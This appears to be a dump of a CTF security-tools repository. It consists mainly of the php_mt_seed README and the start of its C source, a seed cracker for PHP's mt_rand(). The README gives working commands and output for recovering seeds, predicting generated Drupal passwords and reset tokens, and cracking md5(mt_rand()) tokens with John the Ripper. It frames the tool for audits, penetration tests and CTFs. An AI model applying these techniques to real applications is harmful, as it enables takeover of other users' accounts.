print(md5_lea('kingkk','571580b26c65f306376d4f64e53cb5c7',10)) -------------------------------------------------------------------------------- /mt_rand/README.md: -------------------------------------------------------------------------------- 1 | ### generate.php 2 | 3 | 用于生成两个随机字符串 4 | 5 | ### format.php 6 | 7 | 将字符串转化为php_mt_seed所需的格式 8 | 9 | ### forecast.php 10 | 11 | 手动播种,预测之后的随机数 12 | 13 | 14 | 15 | generate.php 和forecast.php需确保运行在同一个php版本下 -------------------------------------------------------------------------------- /mt_rand/forecast.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /mt_rand/generate.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /mt_rand/php_mt_seed-4.0/Makefile: -------------------------------------------------------------------------------- 1 | CC = gcc 2 | RM = rm -f 3 | CFLAGS = -Wall -march=native -mtune=generic -O2 -fomit-frame-pointer -funroll-loops -fopenmp 4 | PROJ = php_mt_seed 5 | 6 | php_mt_seed: php_mt_seed.c 7 | $(CC) $(CFLAGS) $< -o $@ 8 | 9 | mic: 10 | $(MAKE) CC=icc CFLAGS='-mmic -O3 -openmp' 11 | 12 | clean: 13 | $(RM) $(PROJ) 14 | -------------------------------------------------------------------------------- /mt_rand/php_mt_seed-4.0/README: -------------------------------------------------------------------------------- 1 | What is php_mt_seed? 2 | 3 | php_mt_seed is a PHP mt_rand() seed cracker. In the most trivial 4 | invocation mode, it finds possible seeds given the very first mt_rand() 5 | output after possible seeding with mt_srand(). With advanced invocation 6 | modes, it is also able to match multiple, non-first, and/or inexact 7 | mt_rand() outputs to possible seed values. 8 | 9 | PHP's mt_rand() algorithm changed over the years since its introduction 10 | in PHP 3.0.6. php_mt_seed 4.0 supports 3 major revisions of the 11 | algorithm: PHP 3.0.7 to 5.2.0, PHP 5.2.1 to 7.0.x, and PHP 7.1.0+ (at 12 | least up to the latest as of this writing, which is PHP 7.2.0beta3). 13 | 14 | php_mt_seed uses attack-optimized reimplementations of PHP's mt_rand() 15 | algorithms. It is written in C with optional SIMD intrinsics (SSE2, 16 | SSE4.1/AVX, XOP, AVX2, AVX-512, as well as MIC) and OpenMP. On a modern 17 | quad-core CPU, it is able to search the full 32-bit seed space in under 18 | a minute. On second generation Xeon Phi, it does the same in 3 seconds. 19 | 20 | 21 | Why crack mt_rand() seeds? 22 | 23 | It is well-known that mt_rand() is a non-cryptographic PRNG and that its 24 | 32-bit seed space would be too small for cryptographic applications. 25 | Yet many PHP applications misuse mt_rand() for purposes where a CSPRNG 26 | would be needed. Thus, a use case of php_mt_seed is to demonstrate to 27 | developers and users of those applications just how very practical it is 28 | to attack mt_rand() and how vulnerable those applications are, so that 29 | the misuses of mt_rand() would decline. Specific opportunities for such 30 | demonstration include source code audits and network/system penetration 31 | tests. In the latter, the cracked seeds may allow the penetration test 32 | to proceed further into the network or system, potentially exposing 33 | other vulnerabilities there may be. Other opportunities to practice 34 | with php_mt_seed include CTFs (capture the flag competitions). 35 | 36 | Common misuses of mt_rand() include generation of anti-CSRF tokens, 37 | custom session tokens (not relying on PHP's builtin sessions support, 38 | which uses a different PRNG yet was also vulnerable until recently), 39 | password reset tokens, passwords, database backup filenames, etc. If 40 | one of these items is exposed and another is generated later without the 41 | web application or server reseeding the PRNG, then an attack is possible 42 | where the seed is cracked from the item generated earlier and is then 43 | used to infer the unknown item generated later. For example, if an 44 | application generates (and necessarily exposes) an anti-CSRF token or a 45 | custom session token and then generates (and sends to the target user's 46 | registered e-mail address) a password reset token, then the latter may 47 | be inferred from the former, resulting in compromise of the target 48 | account (such as an admin account). On web servers that do not 49 | reinitialize PHP (and thus do not reseed the PRNG) across PHP script 50 | invocations, inferring of another user's token or generated password 51 | from the attacker's own token or generated password may be possible as 52 | well, without needing more uses of mt_rand() in the application itself. 53 | 54 | As a curiosity, certain website encrypting ransomware misused mt_rand() 55 | as well, and seed cracking enabled quick recovery of the encryption key. 56 | 57 | 58 | How to build php_mt_seed. 59 | 60 | To build php_mt_seed from source on a system that has GCC and (GNU) make 61 | installed, simply type "make" in its directory. For example, here's 62 | what this looks like on CentOS 7 running on a i7-4770K CPU (supporting 63 | SIMD instruction sets up to AVX2, so that's what php_mt_seed will use): 64 | 65 | $ make 66 | gcc -Wall -march=native -mtune=generic -O2 -fomit-frame-pointer -funroll-loops -fopenmp php_mt_seed.c -o php_mt_seed 67 | php_mt_seed.c:47:2: warning: #warning AVX-512 not enabled. Try gcc -mavx512f (on Intel Knights Landing, Skylake-X, or some newer). [-Wcpp] 68 | #warning AVX-512 not enabled. Try gcc -mavx512f (on Intel Knights Landing, Skylake-X, or some newer). 69 | ^ 70 | 71 | (The warning tells us that a more advanced SIMD instruction set is not 72 | enabled in the build, in this case because the CPU actually lacks it. 73 | These warnings are safe to ignore, but they're sometimes useful in case 74 | non-default compiler flags are used and a SIMD instruction set would be 75 | left disabled inadvertently.) 76 | 77 | 78 | How to use php_mt_seed. 79 | 80 | php_mt_seed should be run from the command line, with command-line 81 | arguments given to it according to the syntax described below. 82 | 83 | Usage of php_mt_seed can be trivial or complex, depending on use case 84 | details. Here's a trivial usage example: 85 | 86 | First generate a "random" number using PHP, e.g. with: 87 | 88 | $ php5 -r 'mt_srand(1234567890); echo mt_rand(), "\n";' 89 | 1328851649 90 | 91 | Then run the cracker (in this example, on the same system as we used for 92 | the build above): 93 | 94 | $ time ./php_mt_seed 1328851649 95 | Pattern: EXACT 96 | Version: 3.0.7 to 5.2.0 97 | Found 0, trying 0xfc000000 - 0xffffffff, speed 16261.0 Mseeds/s 98 | Version: 5.2.1+ 99 | Found 0, trying 0x1e000000 - 0x1fffffff, speed 91.8 Mseeds/s 100 | seed = 0x1fd65f9a = 534142874 (PHP 7.1.0+) 101 | Found 1, trying 0x26000000 - 0x27ffffff, speed 91.9 Mseeds/s 102 | seed = 0x273a3517 = 658126103 (PHP 5.2.1 to 7.0.x; HHVM) 103 | Found 2, trying 0x48000000 - 0x49ffffff, speed 91.9 Mseeds/s 104 | seed = 0x499602d2 = 1234567890 (PHP 5.2.1 to 7.0.x; HHVM) 105 | seed = 0x499602d2 = 1234567890 (PHP 7.1.0+) 106 | Found 4, trying 0xfe000000 - 0xffffffff, speed 91.9 Mseeds/s 107 | Found 4 108 | 109 | real 0m47.028s 110 | user 6m15.211s 111 | sys 0m0.015s 112 | 113 | php_mt_seed first searches for seeds for the legacy PHP 3.0.7 to 5.2.0, 114 | which it typically completes in a fraction of a second. Then it 115 | proceeds to search for seeds for PHP 5.2.1 to 7.0.x and for PHP 7.1.0+ 116 | simultaneously, which takes a while. 117 | 118 | In 47 seconds, it found the original seed (which in this specific case 119 | happens to produce this same mt_rand() output both with PHP 5.2.1 to 120 | 7.0.x and with PHP 7.1.0+ due to similarities in their algorithms) and 121 | two other seeds that also produce the same mt_rand output (albeit one 122 | only with PHP 5.2.1 to 7.0.x and the other only with PHP 7.1.0+), and it 123 | searched the rest of the 32-bit seed space (not finding other matches). 124 | 125 | For reference, on a 16-core server with two E5-2670 v1 CPUs (supporting 126 | AVX, but not yet AVX2) the same trivial attack completes in 18 seconds, 127 | on Xeon Phi 5110P in 8 seconds, and on Xeon Phi 7290 in 3 seconds. 128 | 129 | You'll find a complex usage example further below. 130 | 131 | 132 | Command-line syntax. 133 | 134 | php_mt_seed expects 1, 2, 4, or more numbers on its command line. The 135 | numbers specify constraints on mt_rand() outputs. 136 | 137 | When invoked with only 1 number, that's the first mt_rand() output to 138 | find seeds for. 139 | 140 | When invoked with 2 numbers, those are the bounds (minimum and maximum, 141 | in that order) that the first mt_rand() output should fall within. 142 | 143 | When invoked with 4 numbers, the first 2 give the bounds for the first 144 | mt_rand() output and the second 2 give the range passed into mt_rand(). 145 | 146 | When invoked with 5 or more numbers, each group of 4 and then the last 147 | group of 1, 2, or (usually) 4 are processed as above, where each group 148 | refers to a corresponding mt_rand() output. 149 | 150 | Although the syntax above technically requires specification of ranges 151 | when matching multiple mt_rand() outputs, it is also possible to match 152 | exact outputs and/or outputs from mt_rand() without a range specified by 153 | listing the value to match twice (same minimum and maximum) and/or by 154 | listing the range "passed into" mt_rand() as "0 2147483647". The latter 155 | is assumed to be equivalent to mt_rand() called without a range. For 156 | example, this matches first mt_rand() output of 1328851649 followed by 157 | second mt_rand() output of 1423851145: 158 | 159 | $ time ./php_mt_seed 1328851649 1328851649 0 2147483647 1423851145 160 | Pattern: EXACT EXACT 161 | Version: 3.0.7 to 5.2.0 162 | Found 0, trying 0xfc000000 - 0xffffffff, speed 15658.7 Mseeds/s 163 | Version: 5.2.1+ 164 | Found 0, trying 0x48000000 - 0x49ffffff, speed 91.9 Mseeds/s 165 | seed = 0x499602d2 = 1234567890 (PHP 5.2.1 to 7.0.x; HHVM) 166 | Found 1, trying 0xfe000000 - 0xffffffff, speed 91.9 Mseeds/s 167 | Found 1 168 | 169 | real 0m47.035s 170 | user 6m15.273s 171 | sys 0m0.004s 172 | 173 | This is on the same machine as above. The additional constraint (on the 174 | second mt_rand() output) caused no slowdown, but removed extra seeds 175 | from the output. 176 | 177 | It is possible to have php_mt_seed skip (ignore) some mt_rand() outputs 178 | by listing for them 4 numbers that would match any output value. By 179 | convention, this is typically done by listing "0 0 0 0", which literally 180 | means "the output must be from 0 to 0 as returned by mt_rand(0, 0)", a 181 | condition that is always true. This is illustrated further below. 182 | 183 | 184 | Complex usage example. 185 | 186 | Here's a script embedding the vulnerable password generation function 187 | from old versions of Drupal: 188 | 189 | 222 | 223 | Given a password generated by that function, let's try to predict what 224 | password it'd generate next assuming no PRNG seed reset inbetween. 225 | First generate a bunch of passwords for an unknown seed (we let PHP seed 226 | the PRNG automatically, as non-ancient versions do): 227 | 228 | $ php drupal.php 229 | pAiwtk6Yed 230 | HW9UPrqKWC 231 | 57CN74bkzL 232 | 233 | Let's pretend to know only the first password. We need to convert it to 234 | inputs to php_mt_seed, which we may do with this script: 235 | 236 | 246 | 247 | We don't actually need to look at its output ourselves, but for the sake 248 | of illustration here it is: 249 | 250 | $ php pw2args.php pAiwtk6Yed 251 | 14 14 0 56 25 25 0 56 8 8 0 56 21 21 0 56 18 18 0 56 10 10 0 56 53 53 0 56 47 47 0 56 4 4 0 56 3 3 0 56 252 | 253 | What we actually need is to pass that output to php_mt_seed: 254 | 255 | $ time ./php_mt_seed `php pw2args.php pAiwtk6Yed` 256 | Pattern: EXACT-FROM-57 EXACT-FROM-57 EXACT-FROM-57 EXACT-FROM-57 EXACT-FROM-57 EXACT-FROM-57 EXACT-FROM-57 EXACT-FROM-57 EXACT-FROM-57 EXACT-FROM-57 257 | Version: 3.0.7 to 5.2.0 258 | Found 0, trying 0xfc000000 - 0xffffffff, speed 4404.0 Mseeds/s 259 | Version: 5.2.1+ 260 | Found 0, trying 0xa0000000 - 0xa1ffffff, speed 210.0 Mseeds/s 261 | seed = 0xa1872e34 = 2709990964 (PHP 5.2.1 to 7.0.x; HHVM) 262 | Found 1, trying 0xfe000000 - 0xffffffff, speed 210.1 Mseeds/s 263 | Found 1 264 | 265 | real 0m21.441s 266 | user 11m21.957s 267 | sys 0m0.034s 268 | 269 | This is 21 seconds on the 2x E5-2670 v1 server mentioned above, on 270 | which the trivial attack would run in 18 seconds. There's some 271 | performance cost from the more advanced constraints on mt_rand() outputs 272 | (and especially from not rejecting unsuitable outputs as quickly as we 273 | would when searching for an exact output value), but in this case it's 274 | not very high. 275 | 276 | Now let's recompute this and further passwords from the cracked seed: 277 | 278 | $ php drupal.php 2709990964 279 | pAiwtk6Yed 280 | HW9UPrqKWC 281 | 57CN74bkzL 282 | 283 | Here we are: it's the same three passwords we had above, out of which we 284 | used only the first one to infer the remaining two. 285 | 286 | For even more real-world complexity, what if someone else had already 287 | generated a password using the same instance of PHP (e.g., same mod_php 288 | child process), and the password we know is the second one after 289 | (automatic) seeding? Let's convert that one to php_mt_seed outputs as 290 | well, and let's also tell php_mt_seed to skip 10 mt_rand() outputs (as 291 | the application would have spent them on the first generated password, 292 | presumably unknown to us) before attempting a match: 293 | 294 | $ time ./php_mt_seed 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 `php pw2args.php HW9UPrqKWC` 295 | Pattern: SKIP SKIP SKIP SKIP SKIP SKIP SKIP SKIP SKIP SKIP EXACT-FROM-57 EXACT-FROM-57 EXACT-FROM-57 EXACT-FROM-57 EXACT-FROM-57 EXACT-FROM-57 EXACT-FROM-57 EXACT-FROM-57 EXACT-FROM-57 EXACT-FROM-57 296 | Version: 3.0.7 to 5.2.0 297 | Found 0, trying 0xfc000000 - 0xffffffff, speed 1457.9 Mseeds/s 298 | Version: 5.2.1+ 299 | Found 0, trying 0xa0000000 - 0xa1ffffff, speed 128.9 Mseeds/s 300 | seed = 0xa1872e34 = 2709990964 (PHP 5.2.1 to 7.0.x; HHVM) 301 | Found 1, trying 0xfe000000 - 0xffffffff, speed 128.9 Mseeds/s 302 | Found 1 303 | 304 | real 0m36.288s 305 | user 19m14.502s 306 | sys 0m0.031s 307 | 308 | We found the same seed as above, and would be able to infer the same 309 | passwords from it just like we did above (both the preceding and the 310 | next password relative to the only one we pretended to know), but now it 311 | took 36 seconds, which is double the time the trivial attack used to 312 | take. There's much room for optimization here for future versions of 313 | php_mt_seed (and in fact the older php_mt_seed 3.4 would process this 314 | much faster due to it lacking support for PHP 7.1.0+). Meanwhile, high 315 | and especially unknown SKIP counts are best avoided, which typically can 316 | be done through forcing the web server to allocate a fresh instance of 317 | PHP by setting up many connections (so that more instances of PHP would 318 | be created than the server had running previously) or by crashing an 319 | instance (so that it'd be restarted) via one of many non-security bugs 320 | or resource exhaustion in PHP (but first make sure you're authorized to 321 | do things like that). 322 | 323 | The above attack might not have worked against old versions of Drupal 324 | as-is. There could be reseeding and/or other uses of mt_rand() getting 325 | in the way. It is just an illustration of how to approach applying 326 | mt_rand() seed cracking in a real-world'ish scenario. 327 | 328 | 329 | When extra tools or php_mt_seed changes are needed. 330 | 331 | Sometimes applications post-process mt_rand() outputs in ways very 332 | different from what was illustrated above. It isn't always practical to 333 | write and use tiny scripts like we did above to reverse those tokens, 334 | generated passwords, etc. to mt_rand() output constraints that can be 335 | passed to php_mt_seed. 336 | 337 | In simpler ones of those other cases, a pre-existing extra tool can be 338 | used. For example, if a PHP application exposes md5(mt_rand()) as a 339 | token, then a password hash cracker such as John the Ripper -jumbo or 340 | Hashcat can be used to crack the MD5 hash, retrieving the mt_rand() 341 | output value that can be passed to php_mt_seed. For example: 342 | 343 | $ php -r 'echo md5(mt_rand()), "\n";' | tee hashfile 344 | a67d0e9f38d578eefb1720d611211a26 345 | $ time ./john --format=raw-md5 --incremental=digits --max-length=10 --fork=32 hashfile 2>/dev/null 346 | Loaded 1 password hash (Raw-MD5 [MD5 128/128 AVX 4x3]) 347 | 1871584565 (?) 348 | 349 | real 0m40.922s 350 | user 6m41.117s 351 | sys 0m1.739s 352 | $ time ./php_mt_seed 1871584565 353 | Pattern: EXACT 354 | Version: 3.0.7 to 5.2.0 355 | Found 0, trying 0x48000000 - 0x4bffffff, speed 24159.2 Mseeds/s 356 | seed = 0x4be01ac0 = 1272978112 (PHP 3.0.7 to 5.2.0) 357 | seed = 0x4be01ac1 = 1272978113 (PHP 3.0.7 to 5.2.0) 358 | Found 2, trying 0x5c000000 - 0x5fffffff, speed 25725.1 Mseeds/s 359 | seed = 0x5fe49e4e = 1608818254 (PHP 3.0.7 to 5.2.0) 360 | seed = 0x5fe49e4f = 1608818255 (PHP 3.0.7 to 5.2.0) 361 | Found 4, trying 0xfc000000 - 0xffffffff, speed 28185.7 Mseeds/s 362 | Version: 5.2.1+ 363 | Found 4, trying 0x86000000 - 0x87ffffff, speed 234.4 Mseeds/s 364 | seed = 0x86d2e002 = 2261966850 (PHP 7.1.0+) 365 | Found 5, trying 0xc2000000 - 0xc3ffffff, speed 234.5 Mseeds/s 366 | seed = 0xc24768d7 = 3259459799 (PHP 5.2.1 to 7.0.x; HHVM) 367 | seed = 0xc24768d7 = 3259459799 (PHP 7.1.0+) 368 | Found 7, trying 0xc6000000 - 0xc7ffffff, speed 234.4 Mseeds/s 369 | seed = 0xc6d8b812 = 3336091666 (PHP 5.2.1 to 7.0.x; HHVM) 370 | seed = 0xc6d8b812 = 3336091666 (PHP 7.1.0+) 371 | Found 9, trying 0xfe000000 - 0xffffffff, speed 234.5 Mseeds/s 372 | Found 9 373 | 374 | real 0m18.478s 375 | user 9m48.751s 376 | sys 0m0.015s 377 | $ php -r 'mt_srand(3259459799); echo md5(mt_rand()), "\n";' 378 | a67d0e9f38d578eefb1720d611211a26 379 | $ php -r 'mt_srand(3336091666); echo md5(mt_rand()), "\n";' 380 | a67d0e9f38d578eefb1720d611211a26 381 | 382 | We found two seeds that generate our observed md5(mt_rand()) token (and 383 | some more that would do it with other versions of PHP). While both are 384 | correct given what we knew (assuming that we know the PHP version), in a 385 | real-world scenario only one of those would likely allow us to correctly 386 | infer prior and predict further mt_rand() outputs. That's good enough. 387 | 388 | The invocation of JtR is sub-optimal in that it'd search all strings of 389 | up to 10 digits rather than numbers that fit in 31 bits and do not start 390 | with a 0 (except for the number 0). This can be partially corrected by 391 | splitting the invocation in two: 392 | 393 | $ time ./john --format=raw-md5 --incremental=digits --max-length=9 --fork=32 hashfile 2>/dev/null 394 | Loaded 1 password hash (Raw-MD5 [MD5 128/128 AVX 4x3]) 395 | 396 | real 0m4.540s 397 | user 0m43.320s 398 | sys 0m1.762s 399 | $ time ./john --format=raw-md5 --mask='[12]?d?d?d?d?d?d?d?d?d' --fork=32 hashfile 2>/dev/null 400 | Loaded 1 password hash (Raw-MD5 [MD5 128/128 AVX 4x3]) 401 | 1871584565 (?) 402 | 403 | real 0m4.092s 404 | user 1m58.155s 405 | sys 0m1.609s 406 | 407 | As a slightly trickier example, old eZ Publish used: 408 | 409 | $time = time(); 410 | $userID = $user->id(); 411 | $hashKey = md5( $userID . ':' . $time . ':' . mt_rand() ); 412 | 413 | yet this can be cracked similarly, by obtaining the timestamp from the 414 | server itself (such as from the HTTP headers) or assuming synchronized 415 | time and by knowing or cracking the target user ID as well. The known 416 | portions of the information may be specified in a JtR or Hashcat mask 417 | as-is (e.g., as --mask='100:1503415769:[12]?d?d?d?d?d?d?d?d?d' in the 418 | second invocation of JtR above) and then mt_rand() output extracted from 419 | the cracked "password" and passed into php_mt_seed. 420 | 421 | As a harder to handle example, old MediaWiki used: 422 | 423 | function generateToken( $salt = '' ) { 424 | $token = dechex( mt_rand() ) . dechex( mt_rand() ); 425 | return md5( $token . $salt ); 426 | } 427 | 428 | Two mt_rand() outputs at once are unlikely to be quickly cracked by a 429 | program not aware of mt_rand() specifics. This is a case where we'd 430 | need to modify php_mt_seed internals - specifically, introduce recording 431 | of two mt_rand() outputs in php_mt_seed's diff() function and have it 432 | compute MD5 and compare the result against our token value. Then we'd 433 | invoke php_mt_seed with dummy command-line arguments, but not exactly 434 | arbitrary ones: e.g., "0 1" is non-trivial enough for php_mt_seed to 435 | always call diff() and thus let our added code take over the comparison. 436 | 437 | Cracking seeds from old MediaWiki tokens as above is readily supported 438 | as an example exploit in Snowflake, an alternative to php_mt_seed. 439 | However, in general either php_mt_seed or Snowflake would need custom 440 | code written for new cases like this. 441 | 442 | 443 | Xeon Phi specifics. 444 | 445 | To build php_mt_seed for first generation Xeon Phi (Knights Corner), 446 | install Intel's C compiler and run "make mic". To run php_mt_seed on 447 | Xeon Phi, copy Intel C compiler's OpenMP runtime library (such as 448 | libiomp5.so) to the Xeon Phi card, e.g. using scp. Then SSH in to the 449 | card and run a command like: 450 | 451 | $ LD_LIBRARY_PATH=. time ./php_mt_seed 1328851649 452 | Pattern: EXACT 453 | Version: 3.0.7 to 5.2.0 454 | Found 0, trying 0xe0000000 - 0xffffffff, speed 8947.8 Mseeds/s 455 | Version: 5.2.1+ 456 | Found 0, trying 0x10000000 - 0x1fffffff, speed 583.6 Mseeds/s 457 | seed = 0x1fd65f9a = 534142874 (PHP 7.1.0+) 458 | Found 1, trying 0x20000000 - 0x2fffffff, speed 583.6 Mseeds/s 459 | seed = 0x273a3517 = 658126103 (PHP 5.2.1 to 7.0.x; HHVM) 460 | Found 2, trying 0x40000000 - 0x4fffffff, speed 586.7 Mseeds/s 461 | seed = 0x499602d2 = 1234567890 (PHP 5.2.1 to 7.0.x; HHVM) 462 | seed = 0x499602d2 = 1234567890 (PHP 7.1.0+) 463 | Found 4, trying 0xf0000000 - 0xffffffff, speed 586.1 Mseeds/s 464 | Found 4 465 | real 0m 7.82s 466 | user 30m 17.88s 467 | sys 0m 1.78s 468 | 469 | This is on a Xeon Phi 5110P. 470 | 471 | Advanced invocation modes work too, but the performance impact of the 472 | non-vectorized portions of code is higher than it is on regular CPUs: 473 | 474 | $ LD_LIBRARY_PATH=. time ./php_mt_seed 14 14 0 56 25 25 0 56 8 8 0 56 21 21 0 56 18 18 0 56 10 10 0 56 53 53 0 56 47 47 0 56 4 4 0 56 3 3 0 56 475 | Pattern: EXACT-FROM-57 EXACT-FROM-57 EXACT-FROM-57 EXACT-FROM-57 EXACT-FROM-57 EXACT-FROM-57 EXACT-FROM-57 EXACT-FROM-57 EXACT-FROM-57 EXACT-FROM-57 476 | Version: 3.0.7 to 5.2.0 477 | Found 0, trying 0xe0000000 - 0xffffffff, speed 1824.3 Mseeds/s 478 | Version: 5.2.1+ 479 | Found 0, trying 0xa0000000 - 0xafffffff, speed 247.0 Mseeds/s 480 | seed = 0xa1872e34 = 2709990964 (PHP 5.2.1 to 7.0.x; HHVM) 481 | Found 1, trying 0xf0000000 - 0xffffffff, speed 246.9 Mseeds/s 482 | Found 1 483 | real 0m 19.78s 484 | user 1h 17m 56s 485 | sys 0m 9.54s 486 | 487 | Building and running on second generation Xeon Phi (Knights Landing) and 488 | later doesn't necessarily require a special make target since those 489 | support AVX-512 (which recent gcc supports too) and doesn't necessarily 490 | require any runtime library tricks (perhaps not when Xeon Phi is the 491 | host CPU rather than a coprocessor). Also, the performance impact of 492 | the non-vectorized portions of code is lower than on first generation. 493 | 494 | 495 | PHP version curiosities (mostly unimportant). 496 | 497 | While php_mt_seed supports 3 major revisions of PHP's mt_rand() 498 | algorithm and that sort of covers PHP 3.0.7 through 7.1.0+ (up to the 499 | latest as of this writing and probably beyond), the reality is somewhat 500 | trickier than that. From older versions to newer: 501 | 502 | As a mere historical curiosity, php_mt_seed is in fact able to crack 503 | seeds of PHP 3.0.6, which is the very first version that introduced 504 | mt_rand(), but only as long as no range was passed into mt_rand(). That 505 | version had broken support for ranges, and indeed there's no point in 506 | supporting that short-lived breakage in php_mt_seed now. With this 507 | detail, php_mt_seed has some support for all mt_rand() capable versions 508 | of PHP released so far. 509 | 510 | Then there's PHP 3.0.7 through 5.2.0, where Mersenne Twister's state 511 | initialization is with multiples of 69069. This enables our stateless 512 | implementation to quickly jump to the state array element needed to 513 | compute the first mt_rand() output by using a precomputed value for 514 | 69069 raised to the power 396 (mod 2**32), which is MT's M-1. Another 515 | curiosity of those versions, which we take advantage of too, is that 516 | they treat adjacent even and odd seeds the same, so the effective seed 517 | space is 31-bit. 518 | 519 | PHP 3.0.6 to 4.1.2 used a default seed of 4357 (and thus also 4356) if 520 | mt_srand() was not called. PHP 4.2.0 changed that to automatic seeding 521 | using system time and PHP process ID (still predictable and now also 522 | leaky, but no longer a constant), but there was "Bug #25007 rand & 523 | mt_rand seed RNG every call" until 4.3.3, which presumably affected how 524 | cracked seeds could (not) be used. 525 | 526 | PHP 5.2.1 changed MT state initialization to MT authors' new recommended 527 | algorithm, which is no longer linear so we have to compute the first 397 528 | state elements (out of 624) even though in the simplest case we only 529 | need (and only store) the first and last one of those (or we could use a 530 | time-memory trade-off, which we currently don't). 531 | 532 | PHP 5.2.1 also introduced a bug into its implementation of MT (use of a 533 | wrong variable, whereas pre-5.2.1 code was correct in that respect). 534 | This bug lets us skip a few operations for every other seed, which we 535 | do, although this optimization is so minor that we could as well not 536 | bother. PHP 7.1.0 fixed this bug (reverting to pre-5.2.1 code in that 537 | respect, so we use the same logic for pre-5.2.1 and 7.1.0+ there). 538 | 539 | In PHP versions from 3.0.7 to 7.0.x, if mt_rand() was called with its 540 | optional output range specified, a 31-bit (0 to 2147483647) MT PRNG 541 | output was scaled to that range using floating-point math. This meant 542 | that if a range wider than 31-bit was requested on a 64-bit build of 543 | PHP, some values would never occur. This also meant that even for most 544 | ranges smaller than 31-bit a bias was introduced (some output values 545 | became more likely than others), as compared to MT's raw output (which 546 | was relatively unbiased). 547 | 548 | PHP 7.1.0 tried to fix those biases by dropping the floating-point math 549 | and instead mapping the raw 32-bit MT PRNG outputs to the target range 550 | using integer modulo division. To avoid inherent bias when the target 551 | range isn't a whole power of 2 of possible integer values, a loop was 552 | introduced to skip raw 32-bit PRNG outputs (until a suitable one is 553 | seen) that would result in such bias. A bug in that code was found and 554 | reported due to work on php_mt_seed. As it turned out, the loop only 555 | works right in 32-bit builds of PHP, and is ineffective on 64-bit 556 | (except with 64-bit ranges, see below). Luckily, this actually makes 557 | things simpler for php_mt_seed, and currently php_mt_seed fully supports 558 | the behavior of 64-bit builds only (for ranges up to 0 to 2147483646). 559 | 560 | There's currently no intent to add to php_mt_seed the complication of 561 | bias-avoidance of 32-bit builds of PHP 7.1.0+, as well as of 64-bit 562 | builds of future versions where the bug will presumably get fixed. What 563 | this means in practice is that for 32-bit builds of PHP and future 564 | versions of PHP, php_mt_seed may occasionally find wrong and miss 565 | correct seeds for mt_rand() invoked with a range, but the probability of 566 | this happening is very low except for very wide ranges that are not a 567 | whole power of 2 of possible integer values. For example, mt_rand(0, 568 | 61) or mt_rand(111, 222) are very unlikely to trigger the problem, 569 | mt_rand(0, 255) can't trigger the problem, whereas mt_rand(1000000000, 570 | 2000000000) is somewhat likely to trigger it. Such likely problematic 571 | ranges are probably rarely used and are of little relevance to uses of 572 | php_mt_seed. Also, supporting this buggy vs. correct behavior would 573 | require treating 32- and 64-bit builds of PHP separately and reporting 574 | on them differently. 575 | 576 | PHP 7.1.0 also tried to introduce proper support for 64-bit ranges in 577 | 64-bit builds. It generates two raw 32-bit PRNG outputs to derive one 578 | mt_rand() output when the target range spans more than a 32-bit space. 579 | Unfortunately, the implementation is buggy in a way where it'd introduce 580 | biases into such mt_rand() outputs. The bug will presumably get fixed 581 | as well, but regardless there's currently no intent to support wider 582 | than 31-bit ranges in php_mt_seed. This is obscure functionality 583 | (arguably, originally an accidental misfeature, which the PHP developers 584 | didn't really have to make official) that is only available on 64-bit 585 | builds of PHP. Currently, php_mt_seed does not allow specifying larger 586 | than 31-bit integers on its command line (it will report an error when a 587 | larger value is specified). 588 | 589 | Prior to PHP 7.1.0, mt_rand(0, 2147483647) was equivalent to mt_rand() 590 | without a range, and php_mt_seed still assumes so. This assumption is 591 | no longer valid for PHP 7.1.0+, which means that when searching for 592 | seeds for PHP 7.1.0+ for mt_rand() called with a range specified, you 593 | can specify at most a range one smaller than that, thus "0 2147483646" 594 | being the maximum that php_mt_seed supports for those versions. This 595 | minor limitation shouldn't matter in practice, except that you might 596 | need to be aware you can continue to specify a range of "0 2147483647" 597 | to indicate that no range was passed into mt_rand(). 598 | 599 | PHP 7.1.0 also aliased rand() to mt_rand() and srand() to mt_srand(). 600 | This means that on one hand you can use php_mt_seed to crack rand() 601 | seeds for PHP 7.1.0+ (since those are also mt_rand() seeds), but on the 602 | other hand this cross-seeding and cross-consumption of random numbers 603 | can affect which attacks work or don't work, and exactly how, against 604 | specific applications that make use of both sets of PHP functions. 605 | 606 | PHP 7.1.0 also introduced MT_RAND_PHP as optional second parameter to 607 | mt_srand(). When specified, it correctly enables behavior identical to 608 | that of PHP versions 5.2.1 to 7.0.x. Thus, seeds that php_mt_seed 609 | reports as valid for 5.2.1 to 7.0.x are always also valid for 7.1.0+ 610 | with MT_RAND_PHP, and conversely seeds that php_mt_seed reports as valid 611 | for 7.1.0+ are often invalid for 7.1.0+ with MT_RAND_PHP (except when 612 | the same seeds are also valid for 5.2.1 to 7.0.x, which is common). 613 | 614 | 615 | Contact info. 616 | 617 | Please check the php_mt_seed homepage for new versions: 618 | 619 | http://www.openwall.com/php_mt_seed/ 620 | 621 | If you have anything valuable to add or a non-trivial question to ask, 622 | you may contact the author of php_mt_seed at: 623 | 624 | Solar Designer 625 | -------------------------------------------------------------------------------- /mt_rand/php_mt_seed-4.0/php_mt_seed.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 2012-2014,2017 Solar Designer 3 | * 4 | * Redistribution and use in source and binary forms, with or without 5 | * modification, are permitted. 6 | * 7 | * There's ABSOLUTELY NO WARRANTY, express or implied. 8 | */ 9 | 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include /* sysconf() */ 15 | #include 16 | #include 17 | 18 | #if defined(__MIC__) || defined(__AVX512F__) 19 | #include 20 | typedef __m512i vtype; 21 | /* hack */ 22 | #define _mm_set1_epi32(x) _mm512_set1_epi32(x) 23 | #define _mm_add_epi32(x, y) _mm512_add_epi32(x, y) 24 | #define _mm_mullo_epi32(x, y) _mm512_mullo_epi32(x, y) 25 | #ifdef __MIC__ 26 | #define _mm_macc_epi32(x, y, z) _mm512_fmadd_epi32(x, y, z) 27 | #endif 28 | #define _mm_slli_epi32(x, i) _mm512_slli_epi32(x, i) 29 | #define _mm_srli_epi32(x, i) _mm512_srli_epi32(x, i) 30 | #define _mm_and_si128(x, y) _mm512_and_epi32(x, y) 31 | #define _mm_or_si128(x, y) _mm512_or_epi32(x, y) 32 | #define _mm_xor_si128(x, y) _mm512_xor_epi32(x, y) 33 | #elif defined(__AVX2__) 34 | #include 35 | typedef __m256i vtype; 36 | /* hack */ 37 | #define 